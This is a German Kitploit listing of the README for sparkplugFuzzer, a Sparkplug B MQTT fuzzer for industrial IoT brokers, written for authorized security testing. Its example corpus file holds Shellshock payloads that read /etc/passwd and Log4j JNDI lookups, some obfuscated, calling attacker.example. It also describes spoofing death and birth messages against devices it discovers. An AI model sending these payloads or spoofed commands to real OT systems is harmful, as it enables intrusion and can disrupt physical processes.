Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
sparkplugFuzzer — Fuzzer for the Sparkplug B IIoT protocol | Kitploit
Tools/GitHubGitHub/bishopfox/sparkplugfuzzer
Dynamic Analysis (Sandboxing)IoT SecurityVulnerability AnalysisSCADA/ICS SecurityFuzzingNetwork SecurityPenetration TestingAuthentication
GitHubbishopfox/sparkplugfuzzer

sparkplugFuzzer

Fuzzer for the Sparkplug B IIoT protocol

Repository anzeigen
1vor 2 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Sparkplug B MQTT Security Fuzzer

Ein umfassendes Tool zur Sicherheitsbewertung für das Testen von Sparkplug B MQTT-Protokollimplementierungen. Der Fuzzer testet systematisch alle Protokollfelder über alle 9 Nachrichtentypen hinweg, entdeckt aktive Geräte im Netzwerk und erstellt detaillierte Protokolle zur Analyse.

Verantwortungsvolle Nutzung

Dieses Tool sendet fehlerhafte, Injection- und protokollverletzende MQTT-Nachrichten an einen Ziel-Broker. Führen Sie es nur gegen Systeme aus, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Genehmigung zum Testen haben. Sparkplug B-Broker befinden sich häufig in OT/ICS-Umgebungen, in denen unerwartete Nutzdaten physische Prozesse stören können – gehen Sie davon aus, dass jedes Ziel in Produktionsnähe ist, sofern nicht anders nachgewiesen.

Wenn Sie mit diesem Tool eine Sicherheitslücke in einer Sparkplug B-Implementierung entdecken, befolgen Sie bitte die koordinierte Offenlegung mit dem betroffenen Anbieter. Um ein Sicherheitsproblem in diesem Tool selbst zu melden, siehe SECURITY.md.

Inhaltsverzeichnis

  • Überblick
  • Voraussetzungen
  • Installation
  • Schnellstart
  • Nutzung
    • Befehlszeilenoptionen
    • Fuzz-Kategorien
    • Beispiele
  • Funktionsweise
    • Ausführungsablauf
    • Netzwerkerkennung
    • Authentifizierungsbewertung
    • Gezieltes Fuzzing
  • Ausführen der Tests
  • Ausgabe und Log-Analyse
    • Log-Format
    • Ergebnisse analysieren
  • Protokollabdeckung
    • Nachrichtentypen
    • Datentypen
    • Feldabdeckung
  • Architektur

Überblick

Die Sparkplug B-Spezifikation definiert einen Themen-Namespace und ein Nutzlastformat, das auf MQTT und Google Protocol Buffers für industrielle IoT-Umgebungen (IIoT) basiert. Dieser Fuzzer bewertet die Sicherheit und Robustheit von Sparkplug B-Implementierungen, indem er:

  • Testen aller 19 Metrikdatentypen mit Grenzwerten und Überlaufbedingungen
  • Einschleusen bösartiger Zeichenfolgen (XSS, SQLi, Formatstrings, Path Traversal, Command Injection)
  • Erzeugen von Typinkonsistenzen zwischen deklarierten Datentypen und tatsächlichen Protobuf-Wertfeldern
  • Verletzen der Protokoll-Zustandsmaschinen-Reihenfolge (Daten vor Birth, doppelte Births, Daten nach Death)
  • Korrumpieren serialisierter Protobuf-Nutzlasten auf binärer Ebene
  • Spoofing von Birth/Death-Zertifikaten für entdeckte Netzwerkgeräte
  • Fuzzing von MQTT-Topic-Namespaces mit Sonderzeichen, Groß-/Kleinschreibungsvarianten und strukturellen Verletzungen

Voraussetzungen

  • Python 3.8+
  • MQTT Broker — das zu testende Zielsystem (z.B. Mosquitto, HiveMQ, EMQX oder jeder Sparkplug B-fähige Broker)
  • Autorisierung — dieses Tool ist ausschließlich für autorisierte Sicherheitstests bestimmt

Installation

Auf modernen Debian/Ubuntu/Kali-Systemen (PEP-668) kann --setup nicht per pip install in das systemweite Python installieren – verwenden Sie stattdessen eine virtuelle Umgebung oder pipx. Der empfohlene Weg:```bash python3 -m venv .venv source .venv/bin/activate python3 sparkplug-fuzzer.py --setup

root@kitploit:~
Oder führen Sie es mit `pipx run` aus, wenn Sie die Verwaltung der virtuellen Umgebung nicht selbst übernehmen möchten. Auf älteren Systemen ohne PEP-668-Erzwingung funktioniert `python3 sparkplug-fuzzer.py --setup` direkt.

`--setup` wird:
1. Pip-Abhängigkeiten installieren (`paho-mqtt`, `protobuf`)
2. Einen festgelegten Tag des [Eclipse Tahu](https://github.com/eclipse/tahu)-Repository klonen (siehe `TAHU_REF` im Skript)
3. Die Hilfsmodule `sparkplug_b.py` und `array_packer.py` kopieren
4. `sparkplug_b.proto` in Python-Bindungen kompilieren (verwendet `protoc` falls verfügbar, fällt auf `grpcio-tools` zurück)
5. Den Tahu-Klon bereinigen

Nach der Einrichtung sollte Ihr Verzeichnis Folgendes enthalten:```
sparkplug-fuzzer.py     # The fuzzer
sparkplug_b.py          # Sparkplug B helper module (from Tahu)
array_packer.py         # Array packing helper (from Tahu)
sparkplug_b_pb2.py      # Generated protobuf bindings
requirements.txt        # Python dependencies
Manuelle Einrichtung (falls --setup nicht funktioniert)```bash pip install -r requirements.txt git clone https://github.com/eclipse/tahu.git cp tahu/python/core/sparkplug_b.py . cp tahu/python/core/array_packer.py . protoc --python_out=. sparkplug_b.proto rm -rf tahu ```

Schnellstart```bash

python3 sparkplug-fuzzer.py --setup # first-time setup python3 sparkplug-fuzzer.py -H localhost -p 1883 -v # run fuzzer

root@kitploit:~
Dies wird:
1. Eine Verbindung zum Broker unter `localhost:1883` herstellen
2. 10 Sekunden lang zuhören, um vorhandene Sparkplug-Geräte zu erkennen
3. Den Fuzzer als Sparkplug-Knoten/Gerät einrichten
4. Alle 12 Fuzz-Kategorien (~635+ Testfälle) ausführen
5. Erkannte Geräte mit gefälschten Nachrichten angreifen
6. Ergebnisse in `sparkplug_fuzz.jsonl` schreiben

## Nutzung

### Kommandozeilenoptionen```
python3 sparkplug-fuzzer.py [OPTIONS]

Fuzz-Kategorien

Beispiele

Alle Kategorien mit Authentifizierung ausführen:```bash python3 sparkplug-fuzzer.py -H 10.0.1.30 -p 1883 -u admin -P secret -v

root@kitploit:~
**Übergeben Sie Anmeldedaten, ohne sie in `ps` offenzulegen:**```bash
# Via environment
MQTT_USERNAME=admin MQTT_PASSWORD=secret python3 sparkplug-fuzzer.py -H broker.local

# Or read password from stdin (getpass — no echo)
python3 sparkplug-fuzzer.py -H broker.local -u admin -P -

Verbinden über TLS:```bash

System trust store, default port 8883

python3 sparkplug-fuzzer.py -H broker.example.com --tls -v

Custom CA bundle

python3 sparkplug-fuzzer.py -H broker.example.com --tls --cafile ./ca.pem -v

root@kitploit:~
**Passive Authentifizierungsbewertung + aktive Schreibsonde:**```bash
python3 sparkplug-fuzzer.py -H 10.0.1.30 --probe-anon-write -v

Nur injectionsbezogene Kategorien ausführen:```bash python3 sparkplug-fuzzer.py -H broker.local -c string type_mismatch malformed

root@kitploit:~
**Erweiterte Erkennung mit langsamer Taktung (Broker-Last minimieren):**```bash
python3 sparkplug-fuzzer.py -H 192.168.1.100 --discovery-time 60 --delay 0.5

Benutzerdefinierte Gruppen-/Knotenidentität und Protokolldatei:```bash python3 sparkplug-fuzzer.py -H broker.local
-g "Production Floor" -n "TestNode01" -d "TestDevice01"
-l production_fuzz_results.jsonl -vv

root@kitploit:~
**Broker-Traffic in einem separaten Terminal überwachen:**```bash
mosquitto_sub -h <broker_host> -p 1883 -t 'spBv1.0/#' -F '%I %t %x'

Abgeschottetes Setup mit einem vorab geklonten Tahu-Repo:```bash git clone https://github.com/eclipse/tahu.git ~/tahu # on a connected box

transfer ~/tahu to the air-gapped target, then on the target:

python3 sparkplug-fuzzer.py --setup --tahu-path ~/tahu

root@kitploit:~
**Ausgabelayout pro Durchlauf:**```bash
# Default — directory is auto-named under ./sparkplug-runs/
python3 sparkplug-fuzzer.py -H broker.local
# -> creates ./sparkplug-runs/2026-05-05_1830_broker.local/sparkplug_fuzz.jsonl

# Explicit directory:
python3 sparkplug-fuzzer.py -H broker.local --output-dir ./fuzz-runs/acme-2026Q2

Benutzerdefinierte String-Korpora

Die integrierte STRING_FUZZ_VALUES deckt die klassischen Injektionskategorien ab (leere / riesige Zeichenketten, Nullbytes, Formatstrings, XSS, SQLi, Pfad-Traversal, Prototyp-Verschmutzung). Echte Einsätze benötigen oft Second-Order-Payloads, die auf das abzielen, was die Broker-Daten nachgelagert verarbeitet – Historiker, die Metriknamen durch die Shell leiten, Java-basierte SCADA-Hosts, die Werte in log4j einspeisen, Dashboards, die Tag-Namen in HTML rendern, usw.

Das Flag --extra-string-payloads <FILE> fügt den integrierten ein zusätzliches Korpus hinzu. Format: ein Payload pro Zeile, UTF-8. Zeilen, die nur aus Leerzeichen bestehen, werden beibehalten (oft beabsichtigt beim Fuzzing); vollständig leere Zeilen werden entfernt. Das Flag fügt zur integrierten Liste hinzu, anstatt sie zu ersetzen, sodass die bestehende Abdeckung erhalten bleibt.```bash

corpus.txt — Shellshock + Log4j JNDI prefixes

cat > corpus.txt <<'EOF' () { :;}; /bin/cat /etc/passwd () { :; }; echo VULN ${jndi:ldap://attacker.example/x} ${${::-j}${::-n}${::-d}${::-i}:ldap://attacker.example/x} ${${lower:jndi}:ldap://attacker.example/x} EOF

python3 sparkplug-fuzzer.py -H broker.local --extra-string-payloads corpus.txt -v

root@kitploit:~
Der Fuzzer gibt `[+] Extra string payloads: loaded N from <path>` beim Start aus, und jeder Payload wird an jeder Stelle ausgegeben, die `STRING_FUZZ_VALUES` durchläuft – hauptsächlich die Kategorie `string`, aber auch die String-typisierten Fälle des Typ-Mismatch-Generators.

Harte Grenzen: 10 MB Dateigröße, 10.000 Payloads. Passen Sie `MAX_EXTRA_PAYLOADS_FILE_SIZE` / `MAX_EXTRA_PAYLOADS_COUNT` am Anfang des Skripts an, wenn Sie mehr benötigen (und das entsprechende Laufzeitbudget haben).

## v0.2 Versionshinweise

- `--output-dir`-Flag plus automatisch erstellter Standard `./sparkplug-runs/<UTC-ts>_<host>/` — jeder Lauf landet in einem eigenen Verzeichnis, sodass Artefakte nicht zwischen Läufen kollidieren.
- `--tahu-path`-Flag für `--setup` — zeigt auf ein lokales Klon von `eclipse/tahu` für luftdichte Testumgebungen, in denen ausgehende `git clone` blockiert ist. Die lokale Quelle wird bei der Bereinigung nie gelöscht.
- Zeitstempel in Konsole + JSONL werden auf UTC mit explizitem `Z`-Suffix erzwungen, sodass die Kreuzkorrelation mit Broker-Logs ohne Zeitzonenarithmetik auskommt.
- Der `paho.mqtt`-Logger wird standardmäßig auf WARNING gedrosselt; sichtbar auf INFO unter `-v`, DEBUG unter `-vv`. Die Client-Telemetrie pro Paket übertönt nicht mehr das Fuzz-Signal.
- pytest-Test-Harness unter `tests/` — 23 Tests, die FuzzLogger, Topic-Helper, Ausgabepfadauflösung und `--tahu-path`-Validierung abdecken. Siehe [Tests ausführen](#running-the-tests).

## Tests ausführen

Die Test-Harness deckt die netzwerkunabhängige Oberfläche ab (Logger-Korrektheit, Topic-Builder, Ausgabepfadauflösung, `--tahu-path`-Parsing) und läuft ohne installierten Broker, paho-mqtt oder protobuf.```bash
pip install -r requirements-dev.txt
pytest tests/

Expected: 23 passed. Netzwerkabhängige Pfade (PayloadBuilder protobuf, fuzz publishers, MQTT lifecycle) werden bewusst auf eine zukünftige Integrationstest-Schicht mit einem containerisierten Broker verschoben.

Funktionsweise

Ausführungsablauf```

  1. CONNECT Connect to MQTT broker with NDEATH as last-will-and-testament Subscribe to spBv1.0/# and STATE/# for discovery |
  2. DISCOVER Passively listen for Sparkplug traffic (configurable duration) Build map of groups, nodes, devices, and their metric definitions |
  3. ESTABLISH Publish fuzzer's own NBIRTH + DBIRTH to register as a valid node |
  4. FUZZ Run selected categories sequentially Each category generator yields (topic, payload, description) tuples Every publish logged via centralized _publish() method Configurable delay between messages |
  5. TARGET For each discovered node/device: - Spoof NDEATH (kill node) - Spoof NBIRTH (impersonate node) - Spoof DDEATH/DBIRTH (kill/impersonate device) - Send DCMD/NCMD with fuzzed metric values |
  6. REPORT Print summary (total TX/RX counts by category) Close log file, disconnect
root@kitploit:~
### Netzwerkerkennung

Während der Erkennungsphase abonniert der Fuzzer `spBv1.0/#` und hört auf den gesamten Sparkplug-Verkehr. Die Komponente `DeviceTracker` analysiert beobachtete Nachrichten, um eine Live-Netzwerkkarte zu erstellen:

- **NBIRTH**-Nachrichten zeigen Edge-Knoten und deren Metrikdefinitionen (Name, Alias, Datentyp)
- **DBIRTH**-Nachrichten zeigen Geräte und deren Metrikschemata
- **NDEATH/DDEATH**-Nachrichten verfolgen den Lebenszyklusstatus von Knoten/Geräten
- **STATE**-Nachrichten zeigen Host-Anwendungen und deren Online/Offline-Status

Diese Karte wird in der gezielten Fuzzing-Phase verwendet, um kontextrelevante Angriffe gegen reale Geräte mit ihren tatsächlichen Metrikschemata zu senden.

### Authentifizierungsbewertung

Wenn der Fuzzer ohne `-u/-P` eine Verbindung herstellt (und `MQTT_USERNAME`/`MQTT_PASSWORD` nicht gesetzt sind), leitet er allein aus der passiven Erkennung eine Broker-Authentifizierungsposition ab. Dies erzeugt ein einzelnes `AUTH_ASSESSMENT`-Ereignis im Log und eine gedruckte Zusammenfassung:

| Signal | Bedeutung | Wie es abgeleitet wird |
|---|---|---|
| `anon_connect_accepted` | Broker akzeptierte CONNECT ohne Anmeldedaten | Der eigene CONNECT des Fuzzers war erfolgreich |
| `anon_subscribe_accepted` | Broker leitet `spBv1.0/#` / `STATE/#` an anonyme Clients weiter | Mindestens eine RX-Nachricht traf während des Hörfensters ein |
| `anon_publish_accepted` | Broker akzeptiert PUBLISH von anonymen Clients | Nur gesetzt, wenn `--probe-anon-write` übergeben wird; QoS=1-Probe + PUBACK-Wartezeit |
| `unauth_endpoints` | Knoten / Geräte / Host-Anwendungen ohne Authentifizierung beobachtbar | Jede Entität in der entdeckten Netzwerkkarte (Authentifizierung wurde nie erzeugt) |

Die QoS=1-Probe ist optional, da sie von passiv zu aktiv wechselt. Bei QoS=0 verwirft der Broker stillschweigend Nachrichten, die er ablehnen würde, daher erfordert die Bestätigung der Schreibakzeptanz das Lesen eines PUBACK.

MQTT/Sparkplug haben keine Authentifizierung pro Endpunkt – Authentifizierung ist eine Angelegenheit auf Broker-Ebene. Daher wird "Endpunkte ohne Authentifizierung beobachtbar" als Liste von *Zielen, die ohne Kosten erreichbar sind* gemeldet, nicht als Eigenschaft der Endpunkte selbst.

### Gezieltes Fuzzing

Nach systematischem Fuzzing zielt das Tool auf jedes entdeckte Gerät mit:

1. **Gefälschte Todesmeldungen** — veröffentlicht NDEATH/DDEATH, um Abonnenten vorzutäuschen, dass Geräte offline gegangen sind
2. **Gefälschte Geburtszertifikate** — veröffentlicht NBIRTH/DBIRTH, um entdeckte Knoten/Geräte zu imitieren
3. **Befehlseinschleusung** — sendet NCMD/DCMD-Nachrichten mit Grenzwerten für jede bekannte Metrik und testet, ob das Ziel eingehende Befehle validiert
4. **Rebirth-Befehle** — sendet `Node Control/Rebirth` NCMD, um Geräte zur erneuten Veröffentlichung ihrer Geburten zu veranlassen

## Ausgabe und Log-Analyse

### Log-Format

Die Logdatei verwendet das JSON-Lines-Format (`.jsonl`) — ein JSON-Objekt pro Zeile, geeignet für die Analyse mit `jq`, Python oder jedem JSON-fähigen Tool.

Nutzlasten größer als 64 KiB werden nicht hex-inline eingefügt; stattdessen trägt `payload_hex` `sha256:<digest>+len=<n>`, sodass das Log bei sehr großen Fuzz-Fällen begrenzt bleibt. `payload_len` ist immer vorhanden.

**TX-Datensatz** (ausgehende Fuzz-Nachricht):```json
{
  "ts": "2026-04-10T15:30:00.123456Z",
  "dir": "TX",
  "case_id": "BOUNDARY-0042",
  "category": "boundary",
  "topic": "spBv1.0/Sparkplug B Devices/DDATA/FuzzNode/FuzzDevice",
  "payload_hex": "0800120a0a06...",
  "payload_len": 28,
  "payload_decoded": {"timestamp": 1712345678000, "metrics": [{"name": "fuzz/boundary/Int32", "datatype": 3, "int_value": 2147483647}]},
  "description": "Boundary Int32 = 2147483647 (int_value)"
}

RX record (eingehende Nachricht vom Netzwerk):```json { "ts": "2026-04-10T15:30:01.456789Z", "dir": "RX", "topic": "spBv1.0/Production/NBIRTH/PLC01", "payload_hex": "0800120f...", "payload_len": 156, "payload_decoded": {"timestamp": 1712345679000, "metrics": [{"name": "Node Control/Rebirth", "datatype": 11, "boolean_value": false}]} }

root@kitploit:~
**Ereignisaufzeichnung** (Systemereignis):```json
{
  "ts": "2026-04-10T15:29:50.000000Z",
  "dir": "EVENT",
  "event": "DISCOVERY_COMPLETE",
  "details": {"groups": ["Production"], "node_count": 3, "device_count": 7, "targets": 10}
}

Ergebnisse analysieren

Fälle nach Kategorie zählen:```bash grep '"dir": "TX"' sparkplug_fuzz.jsonl | jq -r '.category' | sort | uniq -c | sort -rn

root@kitploit:~
**Alle Fälle von String-Injection extrahieren:**```bash
jq 'select(.category == "string")' sparkplug_fuzz.jsonl

Liste aller entdeckten Geräte:```bash jq 'select(.event == "DISCOVERY_COMPLETE")' sparkplug_fuzz.jsonl

root@kitploit:~
**Finde Fälle, die Broker-Trennungen ausgelöst haben:**```bash
jq 'select(.event == "UNEXPECTED_DISCONNECT" or .event == "RECONNECT_FAIL")' sparkplug_fuzz.jsonl

Das Authentifizierungs-Assessment durchführen:```bash jq 'select(.event == "AUTH_ASSESSMENT")' sparkplug_fuzz.jsonl

root@kitploit:~
**Liste der Endpunkte, die ohne Authentifizierung erreichbar sind:**```bash
jq -r 'select(.event == "AUTH_ASSESSMENT") | .details.unauth_endpoints[] | [.kind, .group, .node, .device, .host_id, .status] | @tsv' sparkplug_fuzz.jsonl

TX-Anzahl im Zeitverlauf abrufen (für die Ratenanalyse):```bash grep '"dir": "TX"' sparkplug_fuzz.jsonl | jq -r '.ts[:19]' | uniq -c

root@kitploit:~
**Alle Themen exportieren, die veröffentlicht wurden an:**```bash
jq -r 'select(.dir == "TX") | .topic' sparkplug_fuzz.jsonl | sort -u

Analysieren mit Python:```python import json

with open("sparkplug_fuzz.jsonl") as f: records = [json.loads(line) for line in f]

tx = [r for r in records if r["dir"] == "TX"] rx = [r for r in records if r["dir"] == "RX"] events = [r for r in records if r["dir"] == "EVENT"]

print(f"Total TX: {len(tx)}, RX: {len(rx)}, Events: {len(events)}")

Find any decode errors in received messages (possible crash indicators)

errors = [r for r in rx if "_decode_error" in str(r.get("payload_decoded", {}))] print(f"Decode errors in RX: {len(errors)}")

root@kitploit:~
## Protokollabdeckung

### Nachrichtentypen

Alle 9 Sparkplug B-Nachrichtentypen werden getestet:

| Nachrichtentyp | Topic-Muster | Beschreibung | Fuzzer-Nutzung |
|---|---|---|---|
| NBIRTH | `spBv1.0/{group}/NBIRTH/{node}` | Geburtszertifikat für Knoten | Stellt Fuzzer-Präsenz her; wird für entdeckte Knoten gefälscht; Reihenfolgetests |
| NDEATH | `spBv1.0/{group}/NDEATH/{node}` | Todesbenachrichtigung für Knoten | MQTT-Letzter Wille; wird für entdeckte Knoten gefälscht; Reihenfolgetests |
| DBIRTH | `spBv1.0/{group}/DBIRTH/{node}/{device}` | Geburtszertifikat für Gerät | Stellt Fuzzer-Gerät her; wird für entdeckte Geräte gefälscht; Reihenfolgetests |
| DDEATH | `spBv1.0/{group}/DDEATH/{node}/{device}` | Todesbenachrichtigung für Gerät | Wird für entdeckte Geräte gefälscht; Reihenfolgetests; Waisentests |
| NDATA | `spBv1.0/{group}/NDATA/{node}` | Datenaktualisierung für Knoten | Grenzwerte; Sequenznummern; Reihenfolgetests |
| DDATA | `spBv1.0/{group}/DDATA/{node}/{device}` | Datenaktualisierung für Gerät | Primäres Fahrzeug für die meisten Fuzz-Kategorien |
| NCMD | `spBv1.0/{group}/NCMD/{node}` | Knotenbefehl | Gezieltes Fuzzing (Neugeburt-Befehle); Waisentests |
| DCMD | `spBv1.0/{group}/DCMD/{node}/{device}` | Gerätebefehl | Gezieltes Fuzzing gegen entdeckte Gerätemetriken; Waisentests |
| STATE | `STATE/{host_id}` | Host-Anwendungsstatus (JSON) | Fehlerhafte JSON-Injektion |

### Datentypen

Alle 19 Sparkplug B-Metrikdatentypen werden mit typspezifischen Grenzwerten getestet:

| Code | Typ | Protobuf-Feld | Getestete Grenzwerte |
|------|------|---------------|----------------------|
| 1 | Int8 | int_value | 0, -128, 127, 128 (Überlauf), -129 (Unterlauf) |
| 2 | Int16 | int_value | 0, -32768, 32767, Überlauf/Unterlauf |
| 3 | Int32 | int_value | 0, -2^31, 2^31-1, Überlauf/Unterlauf |
| 4 | Int64 | long_value | 0, -2^63, 2^63-1, Überlauf |
| 5 | UInt8 | int_value | 0, 255, 256, -1 |
| 6 | UInt16 | int_value | 0, 65535, 65536, -1 |
| 7 | UInt32 | int_value | 0, 4294967295, -1 |
| 8 | UInt64 | long_value | 0, 2^64-1, -1 |
| 9 | Float | float_value | 0.0, -0.0, max, min, inf, -inf, NaN |
| 10 | Double | double_value | 0.0, -0.0, max, min, inf, -inf, NaN |
| 11 | Boolean | boolean_value | True, False; auch mit rohen Integer-Werten getestet (0, 1, 2, 255) |
| 12 | String | string_value | Leer, lang (bis zu 64 KB), Injection-Payloads |
| 13 | DateTime | long_value | Epoche, max, weit in Zukunft/Vergangenheit |
| 14 | Text | string_value | Gleiche Injection-Payloads wie String |
| 15 | UUID | string_value | Leer, gültig, ungültiges Format, Injektionen |
| 16 | DataSet | dataset_value | Strukturverletzungen über DataSet-Kategorie |
| 17 | Bytes | bytes_value | Leer, Nullbytes, zufällig, groß |
| 18 | File | bytes_value | Leer, Magic Bytes, groß |
| 19 | Template | template_value | Undefinierte Referenzen, verwaiste Vorlagen |

### Feldabdeckung

Der Fuzzer deckt 87+ eindeutige Protobuf-Feldpfade ab, einschließlich:

- **Payload-Stammfelder**: timestamp, seq, uuid, body, metrics
- **Metrikfelder**: name, alias, timestamp, datatype, is_historical, is_transient, is_null, metadata, properties, und alle value oneof-Varianten
- **MetaData-Felder**: is_multi_part, content_type, size, seq, file_name, file_type, md5, description
- **PropertySet/PropertyValue**: keys, values, type, is_null, rekursives propertyset_value, propertysets_value
- **DataSet**: num_of_columns, columns, types, rows, elements, alle DataSetValue-Varianten
- **Template**: version, template_ref, is_definition, verschachtelte Metriken, Parameter

## Architektur

Der Fuzzer ist eine einzelne Python-Datei, die in folgende Komponenten organisiert ist:```
sparkplug-fuzzer.py
    |
    +-- Constants / ALL_METRIC_TYPES / STRING_FUZZ_VALUES
    |       Type definitions and fuzz value tables
    |
    +-- FuzzLogger
    |       JSON-lines file logging + console output
    |       Protobuf payload decoding
    |
    +-- DeviceTracker
    |       Passive network discovery
    |       Tracks groups, nodes, devices, metrics
    |
    +-- PayloadBuilder
    |       Valid payload construction (sparkplug_b helpers)
    |       Raw payload construction (sparkplug_b_pb2 direct)
    |       Binary corruption (truncate, flip, append)
    |
    +-- 12 Fuzz Generators
    |       Each is a Python generator yielding (topic, bytes, desc)
    |       Covers boundary, string, type, seq, timestamp, alias,
    |       orphan, ordering, recursive, dataset, malformed, topic
    |
    +-- SparkplugFuzzer
    |       Orchestration: connect, discover, fuzz, target, report
    |       Centralized publish with logging
    |       Auto-reconnect on disconnect
    |
    +-- CLI (argparse) + main()
            Argument parsing and entry point

Die zweistufige Payload-Konstruktion ist eine zentrale Designentscheidung:

  • High-Level (PayloadBuilder.node_birth(), etc.) verwendet sparkplug_b Hilfsfunktionen, um gültige, wohlgeformte Payloads zu erstellen. Wird verwendet, um Präsenz zu etablieren und gezieltes Spoofing durchzuführen.
  • Low-Level (PayloadBuilder.raw_payload(), corrupt_bytes()) manipuliert direkt sparkplug_b_pb2 Protobuf-Objekte oder Rohbytes, unter Umgehung der Validierung. Wird für absichtlich fehlerhafte Payloads verwendet, die die Fehlerbehandlung und Randfälle des Parsers testen.

License

This project is licensed under the MIT License — see LICENSE for the full text.

Third-Party

sparkplug-fuzzer.py --setup lädt die folgenden Komponenten von Eclipse Tahu zur Installationszeit herunter und kopiert sie in das Arbeitsverzeichnis:

  • sparkplug_b.py — Sparkplug B Hilfsmodul
  • array_packer.py — Hilfsprogramm zum Packen von Arrays
  • sparkplug_b.proto — Protocol Buffer-Definition (wird verwendet, um sparkplug_b_pb2.py zu generieren)

Eclipse Tahu wird unter der Apache License, Version 2.0 vertrieben. Keine der Tahu-Quelldateien werden in diesem Repository weiterverteilt. Siehe NOTICE für die vollständige Quellenangabe.

Tool herunterladen
OptionStandardBeschreibung
-H, --hostlocalhostHostname oder IP des MQTT-Brokers
-p, --port1883 (oder 8883 mit --tls)Port des MQTT-Brokers
-u, --usernameKeinerMQTT-Benutzername (liest auch Umgebungsvariable MQTT_USERNAME)
-P, --passwordKeinerMQTT-Passwort (liest auch MQTT_PASSWORD; - übergibt, um von stdin ohne Echo zu lesen)
--tlsausVerbindung über TLS; Standard-Port wird 8883, wenn -p nicht gesetzt
--cafileKeinerCA-Bundle für TLS-Serverzertifikatsprüfung
--insecureausTLS-Hostname-/Zertifikatsprüfung überspringen (nur Testzwecke)
-g, --groupSparkplug B DevicesSparkplug-Gruppen-ID, unter der sich der Fuzzer registriert
-n, --nodeFuzzNodeSparkplug-Edge-Node-ID für den Fuzzer
-d, --deviceFuzzDeviceSparkplug-Geräte-ID für den Fuzzer
-c, --categoriesallLeerzeichen-getrennte Liste der auszuführenden Fuzz-Kategorien
--discovery-time10Sekunden, um passiv auf Netzwerkerkennung zu lauschen
--delay0.1Verzögerung in Sekunden zwischen Fuzz-Nachrichten
--probe-anon-writeausWährend der Erkennung ein QoS=1-Publish senden, um zu bestätigen, ob der Broker unauthentifiziertes PUBLISH akzeptiert
-l, --logsparkplug_fuzz.jsonlName der Ausgabeprotokolldatei (relative Pfade landen in --output-dir; absolute Pfade werden unverändert übernommen)
--output-dir./sparkplug-runs/<UTC-ts>_<host>/Ausgabeverzeichnis pro Durchlauf. Wird erstellt, falls nicht vorhanden.
-v, --verbose0Konsolen-Ausführlichkeit erhöhen (-v = info, -vv = debug). -vv zeigt auch Fuzz-Generator-Überspringungen an, und der gedrosselte paho.mqtt-Logger wird je nach Ausführlichkeit auf INFO/DEBUG gesetzt.
--setup—Alle Abhängigkeiten installieren und beenden
--tahu-path—Pfad zu einem lokalen Klon von eclipse/tahu (oder dem python/core-Verzeichnis). Wird von --setup in abgeschotteten Umgebungen anstelle von git clone verwendet.
--extra-string-payloads—Pfad zu einer Datei mit zusätzlichen String-Injection-Payloads (eine pro Zeile, UTF-8). Wird an die integrierten STRING_FUZZ_VALUES angehängt; ersetzt diese nicht. Maximal 10 MB / 10.000 Payloads. Siehe Benutzerdefinierte String-Korpora.
KategorieBeschreibungCa. Fälle
boundaryMin/Max/Überlauf für alle 19 numerischen Datentypen, is_null mit Werten, Flag-Kombinationen~200
stringInjection-Payloads (XSS, SQLi, Format-Strings, Path Traversal, Command Injection, Null-Bytes) in String-, Text-, UUID-, MetaData-Feldern und STATE-Nachrichten~100
type_mismatchDeklarierter Datentyp vs. falsches Protobuf-Wertfeld, ungültige Datentypecodes, mehrere Oneof-Felder~150
sequenceSequenzlücken, Duplikate, Rückwärtssequenzen, Überlauf, bdSeq-Konflikte zwischen NBIRTH/NDEATH~20
timestampNull, max uint64, weit in Zukunft/Vergangenheit, Inkonsistenz zwischen Metrik- und Payload-Zeitstempel, DateTime-Extremwerte~15
aliasDoppelte Aliase für verschiedene Metriken, extreme Alias-Werte, undefinierte Aliase in Datennachrichten~15
orphanDaten/Befehle, die auf nicht existierende Geräte, Nodes, Gruppen verweisen; undefinierte Template-Referenzen~20
orderingProtokollzustandsverletzungen: Daten vor Geburt, doppelte Geburten, Daten nach Tod, falsche Geburtenreihenfolge~15
recursiveVerschachtelte PropertySet-Ketten (Tiefe 1–100), Längenkonflikte bei Key/Value, PropertySetList-Varianten~15
datasetSpaltenanzahl-Konflikte, Zeilenelement-Konflikte, Typverletzungen, leere/riesige Datasets, Sonderzeichen in Spaltennamen~25
malformedBinäre Protobuf-Korruption: Trunkierung, Bitflips, zufällige Bytes, überlange Varints, falsche Nachrichtenklassen~30
topicGroß-/Kleinschreibungsvarianten, falsche Versionen, zusätzliche/fehlende Schrägstriche, Sonderzeichen, Wildcards in Topic-Strings~30